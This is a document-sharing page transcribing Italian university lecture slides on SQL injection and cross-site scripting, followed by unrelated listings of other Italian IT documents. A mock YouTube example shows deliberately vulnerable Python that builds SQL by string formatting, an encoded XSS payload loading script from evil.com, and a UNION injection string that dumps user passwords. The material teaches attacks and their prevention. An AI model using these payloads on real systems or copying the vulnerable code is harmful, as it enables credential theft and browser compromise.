Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting

Размер: px
Начинать показ со страницы:

Download "Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting"

Транскрипт

1 Pattern Recognition and Applications Lab Analisi di vulnerabilità e prevenzione di attacchi SQL injection e Cross-site Scripting Dott. Ing. Igino Corona igino.corona (at) diee.unica.it Corso Sicurezza Informatica 2014/2015 Department of Electrical and Electronic Engineering University of Cagliari, Italy

2 About me Assegnista di Ricerca - DIEE, UniCA Principali interessi di ricerca: Rilevazione di attacchi informatici Reti Fast Flux Servizi Web Malware - PDF, Android, JavaScript Pagine web di Phishing Siti di vendita illegale di farmaci Tecniche di apprendimento automatico Robuste ad attacchi da parte di un avversario intelligente Evasione, inquinamento dati di addestramento Applicate a prototipi e problemi reali 2

3 Alcuni progetti e sistemi sviluppati Febbraio Febbraio 2016 Budget ( ): 364,000 Novembre Maggio 2015 Budget ( ): 219,100 Gennaio Dicembre 2015 Budget ( ): 1,289,764 FluxBuster FightPhishing SuStorID Lux0R Malware 3

4 Servizio Web Qualsiasi servizio che utilizzi il protocollo HTTP(S) per lo scambio di dati GET /watch?v=usbjl-wo9xm HTTP(S) protocol Web Browser Internet Explorer Web Server 4

5 Servizio Web - meccanismo base La richiesta HTTP(S) viene interpretata lato server per identificare un applicazione web (programma) e i suoi input GET /watch?v=usbjl-wo9xm Web Browser Internet Explorer attributo = valore Web Server input seleziona applicazione web programma HTML, testo, immagini, video, output N.B. Gli input non si limitano alla request line! 5

6 Servizio Web - Input Validation Attack Cosa succede se gli input non sono fra quelli previsti in fase di sviluppo dell applicazione web? GET /watch?v=<evil input> HTTP(S) protocol Web Client Attacker Script Web Server output? 6

7 Validazione degli input In questa lezione vedremo due tipologie di attacco molto diffuse che sfruttano vulnerabilità relative alla validazione dell input delle applicazioni web SQL Injection Cross-site Scripting Corrispondono alle minacce OWASP di livello A1 e A3 (2013) _Italiano.pdf 7

8 Database e Web apps - Youtube Database video hash tags content users user password usbjl-wo9xm 39vhEHUOBRU slash; world on fire; deep purple; made in japan; [binary] [binary] jhonny mary supersecure214 beatles203 Web Applications (Python) def results(search_query): query = "SELECT DISTINCT hash FROM video WHERE tags LIKE '%%%s%%' " % search_query hashes = db_cursor.execute(query) return results_page(search_query, hashes) def getvideo(v): query = "SELECT content FROM video WHERE hash='%s'" % v return db_cursor.execute(query) 8

9 Servizio Web - Youtube La richiesta HTTP(S) viene interpretata lato server per identificare un applicazione web (programma) e i suoi input GET /results?search_query=deep+purple Web Browser Internet Explorer search_query = deep purple" Web Server input seleziona applicazione web results() Deep Purple video results output 9

10 Youtube 10

11 Cross-site Scripting input output 11

12 Cross-site Scripting Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità la variabile seach_query viene validata? def results(search_query): query = "SELECT DISTINCT hash FROM video WHERE tags LIKE '%%%s%%' " % search_query hashes = db_cursor.execute(query) return results_page(search_query, hashes) Obiettivo: infettare un computer vittima attraverso link relativo a Youtube Tecnica: può sfruttare una vulnerabilità XSS di Youtube per eseguire JavaScript malware sul computer vittima search_query = "%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F %65%76%69%6C%2E%63%6F%6D%2F%65%78%70%6C%6F%69%74%2E%6A%73%22%3E%3C%2F %73%63%72%69%70%74%3E" Se search_query viene riportato nell output della pagina così com è e viene interpretato dal browser come normale codice HTML <script src= ></script> 12

13 Youtube - Cross-site Scripting GET /results?search_query=<evil input> Hey check out this Youtube video! Victim User Internet Explorer Web Server v = "<evil input>" input seleziona applicazione web results() Tiny Youtube search page +malicious JavaScript code output <evil input>=%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a %2F%2F%65%76%69%6C%2E%63%6F%6D%2F%65%78%70%6C%6F%69%74%2E%6A %73%22%3E%3C%2F%73%63%72%69%70%74%3E 13

14 SQL Injection In genere una web application si appoggia ad uno o piu database di backend per restituire i contenuti client web application database Ad esempio il nostro Youtube usa un database per memorizzare video, tags, e credenziali degli utenti. Se l input alla web app non viene correttamente validato Un attaccante può eseguire query piu o meno arbitrarie sul database per ottenere informazioni confidenziali, acquisire accesso non autorizzato ai sistemi, e/o compromettere l intera base di dati 14

15 Servizio Web - Tiny Youtube La richiesta HTTP(S) viene interpretata lato server per identificare un applicazione web (programma) e i suoi input GET /watch?v=usbjl-wo9xm Web Browser Internet Explorer v = "usbjl-wo9xm" Web Server input seleziona applicazione web getvideo() Deep Purple - Made in Japan video stream output 15

16 SQL Injection 16

17 GET Video Il servizio normalmente funziona bene, ma è affetto da una GRAVE vulnerabilità Web Application (Python) la variabile v viene validata? def getvideo(v): query = "SELECT content FROM video WHERE hash='%s'" % v return db_cursor.execute(query) Obiettivo: ottenere username e password di Youtube Tecnica: può usare SQL injection sfruttando la mancata validazione di input sulla variabile v v = "usbjl-wo9xm' UNION SELECT CONCAT(user,' ',password) FROM users WHERE '1'='1" query = "SELECT content FROM video WHERE hash='usbjl-wo9xm' UNION SELECT CONCAT(user,' ',pass) FROM users WHERE 1'='1'" Alla fine dello stream video troverà concatenati tutti i nomi utente e le password degli utenti del servizio! 17

18 SQL Injection GET /watch?v=<evil input> Web Client Attacker Script v = "<evil input>" Web Server input seleziona applicazione web getvideo() Slash - World On Fire video stream +concat(user,password) output <evil input>=usbjl-wo9xm'/**/union/**/select/**/ CONCAT(user,' ',pass)/**/from/**/users/**/where/**/'1'='1 18

19 Live Demo Per i nostri test useremo 19

20 Prevenzione attacchi a servizi Web La natura delle applicazioni web è spesso eterogenea diverse architetture, linguaggi di programmazione, librerie, ambienti di sviluppo funzionalità molto variegate interazione con altri sistemi: es. database, sensori, servizi web di terze parti, etc. gestione di informazioni di vario tipo e confidenzialità diverse necessità in termini di disponibilità e qualità del servizio, anche in funzione del numero e tipologia di utenze difficile affrontare il problema in maniera generale esistono tuttavia delle metodiche di sviluppo sicuro del codice per prevenire le vulnerabilità piu comuni e pericolose importante riferimento è OWASP images/0/08/owasp_scp_quick_reference_guide_v2.pdf 20

21 Prevenzione attacchi a servizi Web Le best practice di sviluppo previste dall ingegneria del software sono un punto di partenza La sicurezza è implementabile attraverso dei vincoli addizionali (funzionali e non) che devono prendere parte nel progetto stesso es. crittografia, meccanismi di verifica del funzionamento dell applicazione, profiling delle azioni compiute dagli utenti/ host client in genere è molto meno costoso che correggere il software in corso d opera o addirittura dopo il rilascio tradeoff con usabilità Alcune linee guida: validazione dell input: gestire tutte le situazioni in cui l input non è quello atteso. L input è di default NON FIDATO rispetto della logica applicativa: assicurarsi che non esistano (sequenze di) richieste, o condizioni relative ai sistemi con cui l applicazione interagisce, che possano portare l applicazione web in stati non previsti 21

22 Prevenzione attacchi a servizi Web Le best practice di sviluppo previste dall ingegneria del software sono un punto di partenza La sicurezza è implementabile attraverso dei vincoli addizionali (funzionali e non) che devono prendere parte nel progetto stesso es. crittografia, meccanismi di verifica del funzionamento dell applicazione, profiling delle azioni compiute dagli utenti/ host client in genere è molto meno costoso che correggere il software in corso d opera o addirittura dopo il rilascio tradeoff con usabilità Per implementare in maniera corretta vincoli legati alla sicurezza è bene utilizzare dei framework di sviluppo e delle librerie ben collaudati es. python Django, Java Spring, Ruby on Rails devono essere considerati solo come un supporto la sicurezza delle web app è comunque legata sempre e comunque ad un corretto utilizzo dei framework e librerie 22

23 Nella prossima lezione Come in tutte le problematiche di sicurezza, la prevenzione è solo una parte della soluzione Vedremo i principali meccanismi di rilevazione e risposta contro attacchi a servizi web Ad esempio, contro attacchi automatizzati di password guessing, information gathering, utilizzo del servizio in maniera anomala 23

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti

Corso di Sicurezza Informatica. Sicurezza del software. Ing. Gianluca Caminiti Corso di Sicurezza Informatica Sicurezza del software Ing. Gianluca Caminiti SQL Injection Sommario Premessa sul funzionamento dei siti dinamici SQL Injection: Overview Scenari di attacco: Errata gestione

Подробнее

TeamPortal. Infrastruttura

TeamPortal. Infrastruttura TeamPortal Infrastruttura 05/2013 TeamPortal Infrastruttura Rubriche e Contatti Bacheca Procedure Gestionali Etc Framework TeamPortal Python SQL Wrapper Apache/SSL PostgreSQL Sistema Operativo TeamPortal

Подробнее

19. LA PROGRAMMAZIONE LATO SERVER

19. LA PROGRAMMAZIONE LATO SERVER 19. LA PROGRAMMAZIONE LATO SERVER Introduciamo uno pseudocodice lato server che chiameremo Pserv che utilizzeremo come al solito per introdurre le problematiche da affrontare, indipendentemente dagli specifici

Подробнее

TeamPortal. Servizi integrati con ambienti Gestionali

TeamPortal. Servizi integrati con ambienti Gestionali TeamPortal Servizi integrati con ambienti Gestionali 12/2013 Accesso da remoto Accesso da remoto Esempio 1 Sul Firewall devono essere aperte le porte 80 : http (o quella assegnata in fase di installazione/configurazione

Подробнее

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS)

Attacchi alle applicazioni web: SQL injection e Cross-site scripting (XSS) UNIVERSITÀ DEGLI STUDI DI CATANIA Facoltà di Ingegneria Corso di laurea Specialistica in Ingegneria Informatica Tesina di Sicurezza nei Sistemi informativi Simona Ullo Attacchi alle applicazioni web: SQL

Подробнее

Esercizi di JavaScript

Esercizi di JavaScript Esercizi di JavaScript JavaScript JavaScript é un linguaggio di programmazione interpretato e leggero, creato dalla Netscape. E' presente a patire da Netscape 2 in tutti i browser ed é dunque il linguaggio

Подробнее

MODELLO CLIENT/SERVER. Gianluca Daino Dipartimento di Ingegneria dell Informazione Università degli Studi di Siena [email protected]

MODELLO CLIENT/SERVER. Gianluca Daino Dipartimento di Ingegneria dell Informazione Università degli Studi di Siena daino@unisi.it MODELLO CLIENT/SERVER Gianluca Daino Dipartimento di Ingegneria dell Informazione Università degli Studi di Siena [email protected] POSSIBILI STRUTTURE DEL SISTEMA INFORMATIVO La struttura di un sistema informativo

Подробнее

Una minaccia dovuta all uso dell SNMP su WLAN

Una minaccia dovuta all uso dell SNMP su WLAN Una minaccia dovuta all uso dell SNMP su WLAN Gianluigi Me, [email protected] Traduzione a cura di Paolo Spagnoletti Introduzione Gli attacchi al protocollo WEP compromettono la confidenzialità

Подробнее

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection

[1] Cross Site Scripting [2] Remote / Local File Inclusion [3] SQL Injection ---------------------------------------------------------------------..... _/ / _ / / \ \/ / / / / \ / \ \ \ / /_/ \ /\ / \ \ \ / /_/ > Y \ \ \ >\_/ / > / \ / / \/ \/ \/ \/ / / \/ ---------------------------------------------------------------------

Подробнее

Navigazione automatica e rilevazione di errori in applicazioni web

Navigazione automatica e rilevazione di errori in applicazioni web Politecnico di Milano Navigazione automatica e rilevazione di errori in applicazioni web Relatore: Prof. Stefano Zanero Fabio Quarti F e d e r i c o V i l l a A.A. 2006/2007 Sommario Obiettivo: Illustrare

Подробнее

Architettura del. Sintesi dei livelli di rete. Livelli di trasporto e inferiori (Livelli 1-4)

Architettura del. Sintesi dei livelli di rete. Livelli di trasporto e inferiori (Livelli 1-4) Architettura del WWW World Wide Web Sintesi dei livelli di rete Livelli di trasporto e inferiori (Livelli 1-4) - Connessione fisica - Trasmissione dei pacchetti ( IP ) - Affidabilità della comunicazione

Подробнее

sito web sito Internet

sito web sito Internet Siti Web Cos è un sito web Un sito web o sito Internet è un insieme di pagine web correlate, ovvero una struttura ipertestuale di documenti che risiede, tramite hosting, su un web server e accessibile

Подробнее

PROGETTAZIONE DI UN SITO WEB

PROGETTAZIONE DI UN SITO WEB PROGETTAZIONE DI UN SITO WEB PROGETTAZIONE DI UN SITO WEB Fasi di progettazione Software: Analisi dei requisiti Analisi dei Requisiti Progettazione (Design) Progettazione (design) Sviluppo Test Manutenzione

Подробнее

Oreste Signore, <[email protected]> Responsabile Ufficio Italiano W3C Area della Ricerca CNR - via Moruzzi, 1-56124 Pisa

Oreste Signore, <oreste@w3.org> Responsabile Ufficio Italiano W3C Area della Ricerca CNR - via Moruzzi, 1-56124 Pisa http://www.w3c.it/education/2012/upra/basicinternet/#(1) 1 of 16 Oreste Signore, Responsabile Ufficio Italiano W3C Area della Ricerca CNR - via Moruzzi, 1-56124 Pisa Master in Comunicazione

Подробнее

Programmazione dei socket con TCP #2

Programmazione dei socket con TCP #2 I Il Server e il Client si scambiano messaggi attraverso la rete mediante un dell API (Application Programming Interface) Telematica II 10. Esercitazione/Laboratorio 3 Server ports Clients user space Socket

Подробнее

FTP. Appunti a cura del prof. ing. Mario Catalano

FTP. Appunti a cura del prof. ing. Mario Catalano FTP Appunti a cura del prof. ing. Mario Catalano Il protocollo FTP 1/2 Attraverso il protocollo FTP (File Transfer Protocol) è possibile trasferire uno o più files di qualsiasi tipo tra due macchine Tale

Подробнее

Per scrivere una procedura che non deve restituire nessun valore e deve solo contenere le informazioni per le modalità delle porte e controlli

Per scrivere una procedura che non deve restituire nessun valore e deve solo contenere le informazioni per le modalità delle porte e controlli CODICE Le fonti in cui si possono trovare tutorial o esempi di progetti utilizzati con Arduino si trovano nel sito ufficiale di Arduino, oppure nei forum di domotica e robotica. Il codice utilizzato per

Подробнее

ANNO SCOLASTICO: 2014-2015 DISCIPLINA: INFORMATICA CLASSE: 5 SI INDIRIZZO: SISTEMI INFORMATIVI DOCENTI: TISO EMANUELE BARBARA SECCHI

ANNO SCOLASTICO: 2014-2015 DISCIPLINA: INFORMATICA CLASSE: 5 SI INDIRIZZO: SISTEMI INFORMATIVI DOCENTI: TISO EMANUELE BARBARA SECCHI ANNO SCOLASTICO: 2014-2015 DISCIPLINA: INFORMATICA CLASSE: 5 SI INDIRIZZO: SISTEMI INFORMATIVI DOCENTI: TISO EMANUELE BARBARA SECCHI 1 2 ELENCO MODULI ARGOMENTI PRINCIPALI STRUMENTI PERIODO Base di Dati

Подробнее

PORTALE CLIENTI Manuale utente

PORTALE CLIENTI Manuale utente PORTALE CLIENTI Manuale utente Sommario 1. Accesso al portale 2. Home Page e login 3. Area riservata 4. Pagina dettaglio procedura 5. Pagina dettaglio programma 6. Installazione dei programmi Sistema operativo

Подробнее

Esempi pratici, risultati e contromisure consigliate. Massimo Biagiotti

Esempi pratici, risultati e contromisure consigliate. Massimo Biagiotti L attività di un Ethical Hacker Esempi pratici, risultati e contromisure consigliate Massimo Biagiotti Information Technology > Chiunque operi nel settore sa che il panorama dell IT è in continua evoluzione

Подробнее

Fondamenti di Informatica. Docenti: Prof. Luisa Gargano Prof. Adele Rescigno BENVENUTI!

Fondamenti di Informatica. Docenti: Prof. Luisa Gargano Prof. Adele Rescigno BENVENUTI! Fondamenti di Informatica Docenti: Prof. Luisa Gargano Prof. Adele Rescigno BENVENUTI! Finalità: Fornire gli elementi di base dei concetti che sono di fondamento all'informatica Informazioni Pratiche ORARIO:

Подробнее

Guida all utilizzo di mysm 2.0. Ver 1.0 1

Guida all utilizzo di mysm 2.0. Ver 1.0 1 Guida all utilizzo di mysm 2.0 Ver 1.0 1 COSA E? mysm è uno strumento che permette di visualizzare i progetti, l elenco dei punti vendita (Point Of Sale) e il corrispondente stato di avanzamento lavori

Подробнее

1. BASI DI DATI: GENERALITÀ

1. BASI DI DATI: GENERALITÀ 1. BASI DI DATI: GENERALITÀ BASE DI DATI (DATABASE, DB) Raccolta di informazioni o dati strutturati, correlati tra loro in modo da risultare fruibili in maniera ottimale. Una base di dati è usualmente

Подробнее

10.1. Un indirizzo IP viene rappresentato in Java come un'istanza della classe InetAddress.

10.1. Un indirizzo IP viene rappresentato in Java come un'istanza della classe InetAddress. ESERCIZIARIO Risposte ai quesiti: 10.1. Un indirizzo IP viene rappresentato in Java come un'istanza della classe InetAddress. 10.2. Un numero intero in Java è compreso nell'intervallo ( 2 31 ) e (2 31

Подробнее

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo

Come funziona il WWW. Architettura client-server. Web: client-server. Il protocollo Come funziona il WWW Il funzionamento del World Wide Web non differisce molto da quello delle altre applicazioni Internet Anche in questo caso il sistema si basa su una interazione tra un computer client

Подробнее

Siti interattivi e dinamici. in poche pagine

Siti interattivi e dinamici. in poche pagine Siti interattivi e dinamici in poche pagine 1 Siti Web interattivi Pagine Web codificate esclusivamente per mezzo dell HTML non permettono alcun tipo di interazione con l utente, se non quella rappresentata

Подробнее

Ciclo di vita del software: strumenti e procedure per migliorarne la sicurezza. Roberto Ugolini [email protected]

Ciclo di vita del software: strumenti e procedure per migliorarne la sicurezza. Roberto Ugolini roberto.ugolini@postecom.it Ciclo di vita del software: strumenti e procedure per migliorarne la sicurezza Roberto Ugolini 1 Il processo di sviluppo sicuro del codice (1/2) Il processo di sviluppo sicuro del codice () è composto

Подробнее

penetration test (ipotesi di sviluppo)

penetration test (ipotesi di sviluppo) penetration test (ipotesi di sviluppo) 1 Oggetto... 3 2 Premesse... 3 3 Attività svolte durante l analisi... 3 3.1 Ricerca delle vulnerabilità nei sistemi... 4 3.2 Ricerca delle vulnerabilità nelle applicazioni

Подробнее

PIANO DI LAVORO DEL PROFESSORE

PIANO DI LAVORO DEL PROFESSORE ISTITUTO DI ISTRUZIONE SUPERIORE STATALE IRIS VERSARI - Cesano Maderno (MB) PIANO DI LAVORO DEL PROFESSORE Indirizzo: LICEO SCIENTIFICO LICEO SCIENTIFICO Scienze Applicate LICEO TECNICO ISTITUTO TECNICO

Подробнее

Corso di Sistemi di Elaborazione delle informazioni

Corso di Sistemi di Elaborazione delle informazioni Corso di Sistemi di Elaborazione delle informazioni Basi di Dati Claudio Marrocco I report I Report sono lo strumento più adatto per ottenere una copia stampata dei dati e delle informazioni ricavate dalle

Подробнее

Il Web-Service SDMX dell ISTAT

Il Web-Service SDMX dell ISTAT Il Web-Service SDMX dell ISTAT Versione: 1.0.0 Data: 26/06/2014 Autore: Approvato da: Modifiche Versione Modifiche Autore Data Indice dei contenuti 1 Introduzione... 4 2 Esempio d uso... 5 2.1 Riferimento

Подробнее

DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER

DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER DATABASE IN RETE E PROGRAMMAZIONE LATO SERVER L architettura CLIENT SERVER è l architettura standard dei sistemi di rete, dove i computer detti SERVER forniscono servizi, e computer detti CLIENT, richiedono

Подробнее

Istituto Tecnico Commerciale Indirizzo AFM articolazione SIA PERCHE???

Istituto Tecnico Commerciale Indirizzo AFM articolazione SIA PERCHE??? Istituto Tecnico Commerciale Indirizzo AFM articolazione SIA PERCHE??? Opportunità di lavoro: ICT - Information and Communication Technology in Azienda Vendite Acquisti Produzione Logistica AFM SIA ICT

Подробнее

Protocolli di autenticazione ione per la connessione alle reti sociali. Le tecnologie del Web 2.0

Protocolli di autenticazione ione per la connessione alle reti sociali. Le tecnologie del Web 2.0 Protocolli di autenticazione ione per la connessione alle reti sociali Le tecnologie del Web 2.0 OAuth: cos è Semplice standard aperto per l autenticazione sicura delle API Protocollo aperto per permettere

Подробнее

Corso di Laurea Specialistica in Ingegneria Informatica. Corso di Ingegneria del Software A. A. 2008-2009. Class Discovery E.

Corso di Laurea Specialistica in Ingegneria Informatica. Corso di Ingegneria del Software A. A. 2008-2009. Class Discovery E. Corso di Laurea Specialistica in Ingegneria Informatica Corso di Ingegneria del Software A. A. 2008 - Class Discovery E. TINELLI Contenuti Classi di analisi: definizione ed esempi Tecniche per la definizione

Подробнее

ESERCITAZIONE Semplice creazione di un sito Internet

ESERCITAZIONE Semplice creazione di un sito Internet ESERCITAZIONE Semplice creazione di un sito Internet Sistemi e Tecnologie Informatiche - Prof. Gregorio Cosentino 1 Internet Una rete globale che connette milioni di computer in tutto il mondo, anarchica

Подробнее

1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014. 1.1 Lato client

1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014. 1.1 Lato client RETI INFORMATICHE - SPECIFICHE DI PROGETTO A.A. 2013/2014 1. RETI INFORMATICHE CORSO DI LAUREA IN INGEGNERIA INFORMATICA SPECIFICHE DI PROGETTO A.A. 2013/2014 Il progetto consiste nello sviluppo di un

Подробнее

Database e reti. Piero Gallo Pasquale Sirsi

Database e reti. Piero Gallo Pasquale Sirsi Database e reti Piero Gallo Pasquale Sirsi Approcci per l interfacciamento Il nostro obiettivo è, ora, quello di individuare i possibili approcci per integrare una base di dati gestita da un in un ambiente

Подробнее

Architettura client-server

Architettura client-server Architettura client-server In un architettura client-server ci sono due calcolatori connessi alla rete: un client che sottopone richieste al server un server in grado di rispondere alle richieste formulate

Подробнее

Esercitazione 8. Basi di dati e web

Esercitazione 8. Basi di dati e web Esercitazione 8 Basi di dati e web Rev. 1 Basi di dati - prof. Silvio Salza - a.a. 2014-2015 E8-1 Basi di dati e web Una modalità tipica di accesso alle basi di dati è tramite interfacce web Esiste una

Подробнее

Sito web per la presentazione e l accesso ai servizi di Ruven integrato con la piattaforma B2B del pacchetto software ERP Stratega.NET.

Sito web per la presentazione e l accesso ai servizi di Ruven integrato con la piattaforma B2B del pacchetto software ERP Stratega.NET. Nome soluzione Ruven S.r.l. Settore: Cosmetica Descrizione Sito web per la presentazione e l accesso ai servizi di Ruven integrato con la piattaforma B2B del pacchetto software ERP Stratega.NET. MediaFile

Подробнее

OmniAccessSuite. Plug-Ins. Ver. 1.3

OmniAccessSuite. Plug-Ins. Ver. 1.3 OmniAccessSuite Plug-Ins Ver. 1.3 Descrizione Prodotto e Plug-Ins OmniAccessSuite OmniAccessSuite rappresenta la soluzione innovativa e modulare per il controllo degli accessi. Il prodotto, sviluppato

Подробнее

SDD System design document

SDD System design document UNIVERSITA DEGLI STUDI DI PALERMO FACOLTA DI INGEGNERIA CORSO DI LAUREA IN INGEGNERIA INFORMATICA TESINA DI INGEGNERIA DEL SOFTWARE Progetto DocS (Documents Sharing) http://www.magsoft.it/progettodocs

Подробнее

Reti di Calcolatori. Il Livello delle Applicazioni

Reti di Calcolatori. Il Livello delle Applicazioni Reti di Calcolatori Il Livello delle Applicazioni Il DNS Gli indirizzi IP sono in formato numerico: sono difficili da ricordare; Ricordare delle stringhe di testo è sicuramente molto più semplice; Il Domain

Подробнее

Laboratorio Progettazione Web PHP e FORMs HTML. Andrea Marchetti IIT-CNR [email protected] 2013/2014

Laboratorio Progettazione Web PHP e FORMs HTML. Andrea Marchetti IIT-CNR andrea.marchetti@iit.cnr.ita 2013/2014 Laboratorio Progettazione Web PHP e FORMs HTML Andrea Marchetti IIT-CNR [email protected] 2013/2014 Struttura Applicazioni Web Browser Web HTTP Server Web API Dati Presentation Application Storage

Подробнее

Volumi di riferimento

Volumi di riferimento Simulazione seconda prova Esame di Stato Gestione di un centro agroalimentare all ingrosso Parte prima) Un nuovo centro agroalimentare all'ingrosso intende realizzare una base di dati per l'attività di

Подробнее

Protocolli applicativi: FTP

Protocolli applicativi: FTP Protocolli applicativi: FTP FTP: File Transfer Protocol. Implementa un meccanismo per il trasferimento di file tra due host. Prevede l accesso interattivo al file system remoto; Prevede un autenticazione

Подробнее

Security by design. Come la gestione di un progetto può minimizzare i rischi per il business. Alessio L.R. Pennasilico - apennasilico@clusit.

Security by design. Come la gestione di un progetto può minimizzare i rischi per il business. Alessio L.R. Pennasilico - apennasilico@clusit. Security by design Come la gestione di un progetto può minimizzare i rischi per il business Alessio L.R. Pennasilico - [email protected] 22 Febbraio 2013 - Milano Alessio L.R. Pennasilico Security

Подробнее

Introduzione alla teoria dei database relazionali. Come progettare un database

Introduzione alla teoria dei database relazionali. Come progettare un database Introduzione alla teoria dei database relazionali Come progettare un database La struttura delle relazioni Dopo la prima fase di individuazione concettuale delle entità e degli attributi è necessario passare

Подробнее

Approfondimenti. Il controllo di SQL Injection nelle pagine ASP e ASP.NET. U.A. 5 - Database in rete con le pagine ASP e ASP.

Approfondimenti. Il controllo di SQL Injection nelle pagine ASP e ASP.NET. U.A. 5 - Database in rete con le pagine ASP e ASP. U.A. 5 - Database in rete con le pagine ASP e ASP.NET 269 Il controllo di SQL Injection nelle pagine ASP e ASP.NET Approfondimenti Con il termine SQL Injection si intende l aggiunta di istruzioni SQL nell

Подробнее

Javascript: il browser

Javascript: il browser Javascript: il browser Un browser è un programma Un browser interpreta il linguaggio HTML e visualizza le pagine sullo schermo Per la visualizzazione delle pagine un browser si appoggia al software di

Подробнее

I MODULI Q.A.T. PANORAMICA. La soluzione modulare di gestione del Sistema Qualità Aziendale

I MODULI Q.A.T. PANORAMICA. La soluzione modulare di gestione del Sistema Qualità Aziendale La soluzione modulare di gestione del Sistema Qualità Aziendale I MODULI Q.A.T. - Gestione clienti / fornitori - Gestione strumenti di misura - Gestione verifiche ispettive - Gestione documentazione del

Подробнее

Il linguaggio HTML - Parte 4

Il linguaggio HTML - Parte 4 Corso IFTS Informatica, Modulo 3 Progettazione pagine web statiche (50 ore) Il linguaggio HTML - Parte 4 Dott. Chiara Braghin [email protected] HTML - I Riferimenti Ipertestuali Il piatto forte di tutto

Подробнее

Tesi Di Laurea. Anno Accademico 2010/2011. relatore Ch.mo prof. Cinque Marcello. correlatore Ch.mo Ing. Catello Cacace

Tesi Di Laurea. Anno Accademico 2010/2011. relatore Ch.mo prof. Cinque Marcello. correlatore Ch.mo Ing. Catello Cacace Tesi Di Laurea Progettazione e Realizzazione di un Applicazione Web per la Gestione di Dati relativi ad Interventi Chirurgici Anno Accademico 2010/2011 relatore Ch.mo prof. Cinque Marcello correlatore

Подробнее

La VPN con il FRITZ!Box Parte I. La VPN con il FRITZ!Box Parte I

La VPN con il FRITZ!Box Parte I. La VPN con il FRITZ!Box Parte I La VPN con il FRITZ!Box Parte I 1 Introduzione In questa mini-guida illustreremo come realizzare un collegamento tramite VPN(Virtual Private Network) tra due FRITZ!Box, in modo da mettere in comunicazioni

Подробнее

Semplificazione e Nuovo CAD L area riservata dei siti web scolastici e la sua sicurezza. Si può fare!

Semplificazione e Nuovo CAD L area riservata dei siti web scolastici e la sua sicurezza. Si può fare! Si può fare! Premessa La sicurezza informatica La sicurezza rappresenta uno dei più importanti capisaldi dell informatica, soprattutto da quando la diffusione delle reti di calcolatori e di Internet in

Подробнее

Sicurezza Informatica: Tecniche di SQL INJECTION

Sicurezza Informatica: Tecniche di SQL INJECTION Sicurezza Informatica: Tecniche di SQL INJECTION Pietro Bongli Aprile 2004 N.B. L'informazione contenuta in queste pagine è divulgata per scopi puramente didattici e non per ni illegali. Structured Query

Подробнее

Scopo della lezione. Informatica. Informatica - def. 1. Informatica

Scopo della lezione. Informatica. Informatica - def. 1. Informatica Scopo della lezione Informatica per le lauree triennali LEZIONE 1 - Che cos è l informatica Introdurre i concetti base della materia Definire le differenze tra hardware e software Individuare le applicazioni

Подробнее

CORSO ACCESS PARTE II. Esistono diversi tipi di aiuto forniti con Access, generalmente accessibili tramite la barra dei menu (?)

CORSO ACCESS PARTE II. Esistono diversi tipi di aiuto forniti con Access, generalmente accessibili tramite la barra dei menu (?) Ambiente Access La Guida di Access Esistono diversi tipi di aiuto forniti con Access, generalmente accessibili tramite la barra dei menu (?) Guida in linea Guida rapida Assistente di Office indicazioni

Подробнее

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento

Nelle reti di calcolatori, le porte (traduzione impropria del termine. port inglese, che in realtà significa porto) sono lo strumento I protocolli del livello di applicazione Porte Nelle reti di calcolatori, le porte (traduzione impropria del termine port inglese, che in realtà significa porto) sono lo strumento utilizzato per permettere

Подробнее

Database. Si ringrazia Marco Bertini per le slides

Database. Si ringrazia Marco Bertini per le slides Database Si ringrazia Marco Bertini per le slides Obiettivo Concetti base dati e informazioni cos è un database terminologia Modelli organizzativi flat file database relazionali Principi e linee guida

Подробнее

Concetti base di sicurezza applicativa web. Massimo Carnevali Responsabile Esercizio dei Sistemi Informativi Comune di Bologna

Concetti base di sicurezza applicativa web. Massimo Carnevali Responsabile Esercizio dei Sistemi Informativi Comune di Bologna Concetti base di sicurezza applicativa web Massimo Carnevali Responsabile Esercizio dei Sistemi Informativi Comune di Bologna Agenda Concetti base Esempio reale (SQL code injection) Come cambia lo scenario

Подробнее

Situazione Attuale. Le persone svolgono molte operazioni ripetitive ed occupano il proprio computer per le elaborazioni..

Situazione Attuale. Le persone svolgono molte operazioni ripetitive ed occupano il proprio computer per le elaborazioni.. Gestione Presenze Situazione Attuale Con sistemi classici di rilevazione presenze installati in azienda Le persone svolgono molte operazioni ripetitive ed occupano il proprio computer per le elaborazioni..

Подробнее

Corso di Access. Prerequisiti. Modulo L2A (Access) 1.1 Concetti di base. Utilizzo elementare del computer Concetti fondamentali di basi di dati

Corso di Access. Prerequisiti. Modulo L2A (Access) 1.1 Concetti di base. Utilizzo elementare del computer Concetti fondamentali di basi di dati Corso di Access Modulo L2A (Access) 1.1 Concetti di base 1 Prerequisiti Utilizzo elementare del computer Concetti fondamentali di basi di dati 2 1 Introduzione Un ambiente DBMS è un applicazione che consente

Подробнее

Rapporto tecnico sulle tipologie di agenti software definiti e implementati nell ambito del progetto

Rapporto tecnico sulle tipologie di agenti software definiti e implementati nell ambito del progetto Rapporto tecnico sulle tipologie di agenti software definiti e implementati nell ambito del progetto Indice 1 Introduzione 2 2 Piattaforma utilizzata nel progetto 2 2.1 Lato software...........................

Подробнее

Corso di Informatica Modulo T3 B1 Programmazione web

Corso di Informatica Modulo T3 B1 Programmazione web Corso di Informatica Modulo T3 B1 Programmazione web 1 Prerequisiti Architettura client/server Elementi del linguaggio HTML web server SQL server Concetti generali sulle basi di dati 2 1 Introduzione Lo

Подробнее

Sicurezza Aziendale: gestione del rischio IT (Penetration Test )

